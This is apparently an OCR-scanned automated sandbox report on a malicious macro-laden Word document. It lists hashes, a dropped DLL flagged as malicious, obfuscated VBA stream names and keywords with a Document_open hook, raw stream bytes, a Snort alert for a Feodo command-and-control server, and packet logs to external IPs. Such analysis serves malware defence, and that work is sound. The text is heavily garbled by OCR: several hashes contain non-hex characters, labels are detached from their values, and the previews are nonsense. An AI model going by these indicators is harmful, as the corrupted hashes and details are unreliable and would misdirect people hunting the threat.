B2F51A8375748037E709D75C038B48C69EO0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDBIC1E2156A092F315EB9C069B654AF39B7FAACD3EFEFF1F8CAE
0

false

LUSET ettt Alb.us....... Peeeeenn M M P/l MNieZied Mo Xewn

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DJ17GIRPUSXWYYEETPX6.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.588936232295481

false
96:chQCsMqZqvsqvJCwo7z8hQCsMqgZqvsEHyqvJCworpzv1YyHYf80ZIUVVIu:cywo7z8yMHnorpzvaf8Oclu
6E003B978C8532648584BE9BAC76BBCC

A9382D50E314C182CD968195BD87C74825F75CFC
EOB2EAEC1DFAF37935F05D59B56FC6213799EAIAFE2C3546A5CF6028434E2A4F
F34247F519F052DD5966CC5182FD6F536250EEA6A838CCA4A2C62A56F6D0B28367A052C66A7B31C8558E7B7998DA1CCC59490EC18786B4EB96677B91A67A388

false
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DJ17GIRPUSXWYYEETPX6.temp

Preview:
................................... FLovivivine R 8.0 X0 D XG D Kol PLOL L 4000 /CoM e VL3N PROGRAS3.D. {3 K PLEOL
gram.D.ata
.STARTM~1. 1.
1.3.2..d.ll,.-.2.1.7.8.2.......1....xJu=..ACCESS~1..Il........wJr*...................B.....A.c.c.e.s.s.0.ries.@ .
.................. W.i.n.d.ow.s. .P.ow.e.r.S.he.ll...v.2 k..., WINDOW~2.LNK..Z.........,....*..=ecurreerreeeWeiinudLoowes.

P.ro.grams..@.s.he.l
.WINDOW~1..R

C:\Users\user\Desktop\~$fo_2020_NJY_31940448.doc

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.431160061181642

Encrypted: false

SSDEEP: 3:vrJlaCkWtVyzALORWObGUXKbylin:vdsCkWtILObyvb+|

MD5: 6AF5EAEBE6C935D9A5422D99EEEGBEFO

SHAL: 6FE25A65D5CCOD4F989A1D79DF5CE1D225D790EC

SHA-256: CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FAGCB4719

SHA-512: B2F51A8375748037E709D75C038B48C69E0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDB1C1E2156A092F315EBIC069B654AF39B7FAACD3EFEFF1IF8CAE
0

Malicious: false

Preview:
LUSBI et Alb.us............. | IO M M P MciZi A X

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 433664

Entropy (8bit): 7.136814209859121

Encrypted: false

SSDEEP: 12288:snzOTW1lglhxgsjtuEiJ+FOkuwl/1ZBuK20DcUX3XSPI9m:eEW1SEIUFZwLdZxDcUXSA

MD5: 759F11DE546F75EC1B576ED031C7A1DC

SHAL: A727EBFC32B3C8C7B1FEQ73F009C53D49FAE6GF72

SHA-256: BBBIC1B98EC307A5E84095CF491F7475964A698C90B48A9D43490A05B6BA0ATI

SHA-512: 73C0609A7614505CF45DC98076194D1838D71465BAA694DBEFB7BC25E63CIC42A6A2447CDD25731CB4DD141CB467CD658461A01FCAOB2DD19B0B4FA9842EES
D

Malicious: true

Antivirus: e Antivirus: Metadefender, Detection: 67%, Browse

e Antivirus: ReversingLabs, Detection: 86%

Joe Sandbox e Filename: rep_2020_12_29_N918980.doc, Detection: malicious, Browse
View:
Preview:
MZ.ooiiiiiiis @i 1..L.IThis program cannot be run in DOS mode....$......... B LTI M....... M....... M. [ JPRTOTO

Static File Info

General

File type: Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
ADP Rubber Gorgeous Plastic Towels Buckinghams
hire hard drive backing up orchid blue functionalities,
Author: Clia Petit, Template: Normal.dotm, Last Saved
By: Elisa Leclercq, Revision Number: 1, Name of Cr
eating Application: Microsoft Office Word, Create
Time/Date: Tue Dec 29 13:35:00 2020, Last Saved Ti
me/Date: Tue Dec 29 13:36:00 2020, Number of Pages:
1, Number of Words: 2202, Number of Characters:
12554, Security: 8

Entropy (8bit): 6.679523117725541

TriD: e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

File name: info_2020_NJY_31940448.doc
File size: 162000
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https://www.metadefender.com/#!/results/file/bzIxMDEwNl9WcUhlMDB1Z0VSSEZFOERVdUtr/regular/analysis
https://view.joesandbox.com/analysis/252047/html/none

General
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "info_2020_NJY_31940448.doc"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Title:
Subject:

Author:

Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:

Copyright null 2021

edeea2aaadbdbdad

OLE

True
Microsoft Office Word
False
True
False
False

False

True

1252

€99693721af4330b2f4f0e4ca39f74df
8d5141493dc9e88dd82f55ebbc9c538764127887

c081588672d7e47686d25c4e55de905404749c4ab80as8k
a47eb66ceb77c4bc3e

09883a7d81b178ae0d66cha2049569¢393ch58902b587
086851899280a05cf4476132674f4f4d22f15d9cdbf12b3c
fc81b6eb967d1c20dc48056a0862062d70

3072:h9ufstRUUKSNs8T00JSHUgteMJ8gMD7gqtmO:b
9ufsfglfopLgtmO

>

ADP Rubber Gorgeous Plastic Towels Buckinghamshire hard drive backing up orchid blue

functionalities

Clia Petit

Normal.dotm

Elisa Leclercq

1

0

2020-12-29 13:35:00
2020-12-29 13:36:00
1

2202

12554

Microsoft Office Word
8

1252
104
29

False

False
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Document Summary
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: Bt08uhxultnhyl, Stream Size: 701

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

VBA File Name: Xhlj9irufb65_wekzf, Stream Size: 14399

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

pKryCIHFC

#]KkUJJZ,
"O:\gtNTBHAA\pRTARKP\omJGJZDcR.TSCsY"
VSmdWBCHE

#lyJitF,

Access

Len(mKbjhgs))

qQuwLC

oMoXwHA::

KcYzD()

JpnblUF:
"F:\emayA\cEXRoDjH\VWIACIE.cAhxFIQk"
iNgaE:

Resume

zDLxpKAFE

#nBVGMJ,

XUIHBHHUH()

#DLbwIFKRY,

VGYhDjxf

Copyright null 2021

False
False

786432

Macros/VBA/Bt08uhxultnhyl
Bt08uhxultnhyl
701

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 53 2a 63 7b 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

Macros/VBA/Xhlj9irufb65_wekzf
Xhlj9irufb65_wekzf
14399

01 16 01 00 00 fO 00 00 00 fc Oa 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 03 Ob 00 00 a7 29 00
00 00 00 00 00 01 00 00 00 53 2a 86 7e 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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Keyword

FELUBTD

nTckscaDq
"F:\JJhGoHJAy\mhYgHAECB\SclgGCAp.sgqtGoGFB"
qQuwLC:
"F:\MIXPEQq\xrgAtKF\wbeXEF.fMufiCa"
zaZqi
"O:\NCeDGUAX\lIGYAIZ)\IUyiD.VfSXEM"
HXWOoFCJP()

#gGHPNUA

aMSHGI:

erxovx

GEdfl()

abJXtunJ

FreeFile

LOF(intGend)

vSgqgJl
"F:\bdvnDGG\YcExI\ktRsYELAd.fmxbB"
#HHlaF

#FELUBTD,

#]KkUJJIZ

XRvZBDBD

VSmdWBCHE:

#abJXtunJ

OuPbAWEJB
"F:\tzCMg\XMchB\YUPCDfDKL.EffNJg"
"F\rRIMGI\pwZWJI\AvgVBxG.OaxnnLJb"
OkxIX

#yhCeYdDx

LveTGO
"O:\zDxufIC\iCEXC\ZRtuvVA.YMVmJ"
zDLxpKAFE:

TOmMTI

DtPcJVH:

HNtcACoR()

VWDNpul()

yhCeYdDx

snahbsd
"O:\xfHgsuZ\OuWcHBRFs\aVDcAfBmF.wxMQaJA"
#HHIaF,
"F:\KzjhHR\fTZqG\WLFeZHJ.RQtHHgTHi"
ReDim

KcYzD

BaaeH:

jKkUJIZ

VWDNpul

#GVYVniR,

#zaZqi

#pYTRXECC,

DCGXZIHE

DtPcJVH

DCGXZIHE()
"O:\vzest\bkKRAHG\viwaCHFyl.borAIDhH"
#pYTRXECC

nBVGMJ
"O:\alUpFwC\nTpvYbID\cOpRCH.yenkEdEBG"
#FRpvMrG,

PENPd
"O:\ZGIzCsC\TtOjBXE\gAFGG.ByczYWAG0"
"O:\skwqjlHSW\BGDBEtNI\SVgGCDCe.oeVOIAwo"
JLIJFE

#yhCeYdDx,
"F:\UkqzBHD\AfiIMCW\FaEXXAH.VIBQHBwWD"
GvYvntR

OkxIX:
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Keyword

OuPbAWEJB:
"O:\OoAuHBR\TrVff\IRegJKh.zDCESFDJE"
HXWoFCJP

TOMTI()
"F:\BokkBJR\JVqtT\wBdFDGCm.csxtJBIHA"
"F:\yhlgJCIMF\gqsJDB\PptZC.VCOUrPxF"
#GigmCE

Binary

uwrli
"O:\QYYEIdD\InelGGHdk\tPJGEle.xXBLI"
QrzZrL:

DLbwIFKRv
"F:\CmcVFs\XishGzBCo\hcyLYIRH.wmCZaBADB"
XDAalBnl:
"F:\LVKnA\BOtUEZATF\XZQseKaFA.wNmzM"
JLIIFE()

#ovskCl,

PYTRXECC

HHIlaF

QrzrL

iNgaE

#FmdzUop

uwrli:

FRpvMrG

LveTGO()

#FmdzUop,

oMoXwHAI

JpnblUF

Integer

pKryCIHFC()

ugjgkyHX

GEdfl

ovskCl
"0:\VoJkkBWBC\NcgoF\KcMVOEFe.igOXKnlU"
BaaeH

gGHPNnUA

sIjWJIBH
"O:\rueRG\VzWpbFH\IjzZjDgRCA.NfKzekAB"
#FELUBTD

YVAKAT()
"F:\SVdfFCU\nnqUrp\YWmSNHII.kFjgBgDk"
Error

YVAKAT

HNtcACoR

aMSHGI

#CMVNWpNGG,

#nBVGMJ

Attribute

KnLfUEp()

Mid(mKbjhgs,

erxovx()

OstReD:

Close

ugjakyHX()

FmdzUop
"F\AILTF\KjkIIF\ZbOCaDfmF.zRwgqJ"
OstReD

#DLbwIFKRv

VB_Name

#ovskCl
"O:\hTNkC\vnsiEILT\IOvmX.DAalToDF"
KnLfUEp

lyJitF
"O:\uYQKM\KtKdHCsGD\IkgPV.CtEPFIa"
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Keyword

Function

"O:\CSYal\BeKGINISIAUHBA .hUrieDEBA"
#GigmCE,

CMVnWpNGG

#CMVNWpNGG

#abJXtunJ,

#FRpvMrG

#VGYhDjxf,

XUIHBHHUH
"F:\KrczWMd\cxBWEA\spjtC.VvknDGZ"
nTckscaDq()
"O:\vzKFL\XTplfDEO\UzdPBJhtk.FxjwCGqT"
"F:\KqgRCCD\OxxrCn\eQUMRH.ZdxMJ"
XDAalBnl

WvseC:

vSgqgJdl:

PFENPd()

#zaZqi,
"O:\ikJcU\cGIXAAG\FEBWJIJ.UFKBBLGK"
#GvYvntR

WvseC

XRvZBDBD:

#lyJitF

mKbjhgs
"F:\qyUZgDN\BGtXCFHH\NTfeA.DExaE"
#VGYhDjxf
"O:\cRwnDC\zYXqgog\gNodA.UMeMIyH"
"F:\nByRqYG\TFriHa\TImuB.vzTdgVSJ"
#gGHPNUA,

GigmCE

sljWJIBH()

VBA Code

VBA File Name: XIb0g5eyj545, Stream Size: 1113

General

Stream Path: Macros/VBA/XIbOg5eyj545

VBA File Name: XIb0g5eyj545

Stream Size: 1113

Data ASCII: [ NN S e
Data Raw: 01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff e5 02 00 00 75 03 00

00 00 00 00 00 01 00 00 00 53 2a 71 86 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

VBA Code Keywords

Keyword

False

Private

VB_Exposed
Attribute
VB_Creatable
VB_Name
Document_open()
VB_Customizable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_TemplateDerived
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VBA Code

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 121

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x1CompObj
data

121
4.36374049783

True

cument..... MSWordDoc..... Word.Document.8..9.q............

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 27 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44
6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e
44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x5Summarylinformation, File Type: data, Stream Size: 524

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6477

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Copyright null 2021

\x5DocumentSummarylnformation
data

4096

0.2493067649

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

\x5Summaryinformation

data

524

4.07059716556

False

................................. Oh. ... .+ . 0.
| I X @ e
..................... R o I T

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 €0 85 9f
2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 dc 01 00 00 11 00 00 00 01 00 00 00 90 00
00 00 02 00 00 00 98 00 00 00 03 00 00 00 6¢ 01 00 00 04 00 00 00 58 01 00 00 05 00 00 00
a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09 00
00 00 d0 00 00 00

1Table

data

6477
6.03366692082

.6...6...6...6...6...6...6...6...6...6...

66 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 00 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00
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Stream Path: Data, File Type: data, Stream Size: 99197

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Data

data

99197
7.38981630237

True

} D.d...ooooiiiii JF j
..................... F o A
P.i.c.t.u.r.e. .1...... .. ... R......... )..0.{ cdEp]........... o}
..... T..F......)..0.{ cdEp].......

7d 83 01 00 44 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 4a 46
ef 1f 08 02 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0f 00 04 fO 6a 00 00 00 b2 04 Oa fO 08 00 00 00 01 04 00 00 00 Oa 00
00 83 00 Ob f0 46 00 00 00 bf 00 04 00 04 00 04 41 01 00 00 00 05 c1 02 00 00 00 3f 01 00 00
06 00 bf 01 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 512

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 143

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 3882

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBAIdir, File Type: data, Stream Size: 671

Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
512

5.51490266847

True

ID="{9C483F46-A8E8-49FA-B2E1-C35497C2A554}"..Docume
nt=Xlb0g5eyj545/&H00000000..Module=Bt08uhxultnhyl..Mo
dule=Xhlj9irufb65_wekzf..ExeName32="Eu25yj8_2hxw2w"..
Name="mw"..HelpContextID="0"..VersionCompatible32="393
222000"..CMG="4143AF35B335B335B335B3"..DPB="A

49 44 3d 22 7b 39 43 34 38 33 46 34 36 2d 41 38 45 38 2d 34 39 46 41 2d 42 32 45 31 2d 43
3335343937 433241353534 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 58 6¢ 62 30 67 35
65 79 6a 35 34 35 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d 42 74 30 38
7568 78 75 31 74 6e 68 79 31 0d Oa 4d 6f 64 75 6¢ 65 3d 58 68 6¢ 6a 39 69 72 75 66 62 36
35 5f 77 65 6b 7a 66 0d

Macros/PROJECTwm
data

143

3.79627459375

False
XIb0Og5eyj545.X.1.b.0.g.5.e.y.j.5.4.5...Bt08uhxultnhyl1.B.t.0
.8.u.h.x.u.l.t.n.h.y.1...Xhlj9irufb65_ weszXh 1.j.9 r.u.f.k

.6.5._.w.e.k.z.f.....

58 6¢ 62 30 67 35 65 79 6a 35 34 35 00 58 00 6¢ 00 62 00 30 00 67 00 35 00 65 00 79 00 6a
00 3500 34 00 35 00 00 00 42 74 30 38 75 68 78 75 31 74 6e 68 79 31 00 42 00 74 00 30 00
38 00 7500 68 00 78 00 75 00 31 00 74 00 6e 00 68 00 79 00 31 00 00 00 58 68 6¢ 6a 39 69
72 75 66 62 36 35 5f 77 65 6b 7a 66 00 58 00 68 00 6¢ 00 6a 00 39 00 69 00 72 00 75 00 66
00 62 00 36 00 35 00 5f

Macros/VBA/_VBA_PROJECT
data

3882

5.06335553284

True

T *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...0.#.9.
#C\\PROGRA~2\\COMMON.~.1.\\MICROS
.1.\.V.B.A.\.V.B.A.6.\.V.B.E.6...D.L.L.#.V.i.s.u.a.l. .B.a.¢

i.c. L F.

cc 61 8500 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 30 00 23 00
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: WordDocument, File Type: data, Stream Size: 17966

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/VBA/dir

data

671

6.45018531598

True

............ o*.....p..H.."..d.....m..2.4.@.....Z=....b............&
%.J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430-.

L.Cll 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.b#

OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ..... X*\C......

m....!O0ffic

01 9b b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 04 02 1c 6d a2 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
09 01 02 12 ea Oe db 61 06 00 Oc 25 02 4a 3c 02 Oa 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02
32 7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30
3032 60303433302d

WordDocument
data

17966
4.12951715638

ec a5 ¢1 00 5b 80 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 a4 41
00 00 Oe 00 62 6a 62 6a ac fa ac fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
09 04 16 00 2e 46 00 00 ce 90 01 00 ce 90 01 00 a4 39 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff

0f 00 00 00 00 00
Network Behavior
Snort IDS Alerts
Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP
01/13/21- TCP 2404306 ET CNC Feodo Tracker Reported CnC Server TCP group 4 49168 80 192.168.2.22 152.170.79.100
16:32:08.898708

Network Port Distribution

TCP Packets

Timestamp
Jan 13, 2021 16:31:48.822978020 CET
Copyright null 2021

Total Packets: 29

® 53 (DNS)

® 80 (HTTP)
Source Port Dest Port Source IP Dest IP
49167 80 192.168.2.22 35.208.69.64
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 13, 2021 16:31:48.978189945 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:48.978324890 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:48.980995893 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.135865927 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179512978 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179543972 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179555893 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179570913 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179588079 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179605007 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179620981 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179637909 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179653883 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179702997 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.179718018 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.179759026 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.334414959 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334449053 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334465981 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334482908 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334495068 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334511995 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334531069 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334548950 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334567070 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334583044 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334603071 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.334649086 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.334948063 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.334966898 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.335031033 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.335149050 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.335169077 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.335184097 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.335201025 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.335218906 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.335222960 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.335237980 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.335248947 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.335256100 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.335273027 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.335295916 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.335323095 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.489233971 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.489262104 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.489274979 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.489289045 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.489473104 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.500291109 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500327110 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500349998 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500371933 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.500374079 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500399113 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500420094 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.500427008 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500449896 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500474930 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.500479937 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500505924 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500524998 CET 49167 80 192.168.2.22 35.208.69.64
Jan 13, 2021 16:31:49.500530005 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500556946 CET 80 49167 35.208.69.64 192.168.2.22
Jan 13, 2021 16:31:49.500580072 CET 80 49167 35.208.69.64 192.168.2.22
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Timestamp Source Port
Jan 13, 2021 16:31:49.500600100 CET 49167
Jan 13, 2021 16:31:49.500602961 CET 80
Jan 13, 2021 16:31:49.500627995 CET 80
Jan 13, 2021 16:31:49.500647068 CET 49167
Jan 13, 2021 16:31:49.500649929 CET 80
Jan 13, 2021 16:31:49.500679016 CET 80
Jan 13, 2021 16:31:49.500700951 CET 49167
Jan 13, 2021 16:31:49.500705957 CET 80
Jan 13, 2021 16:31:49.500730991 CET 80
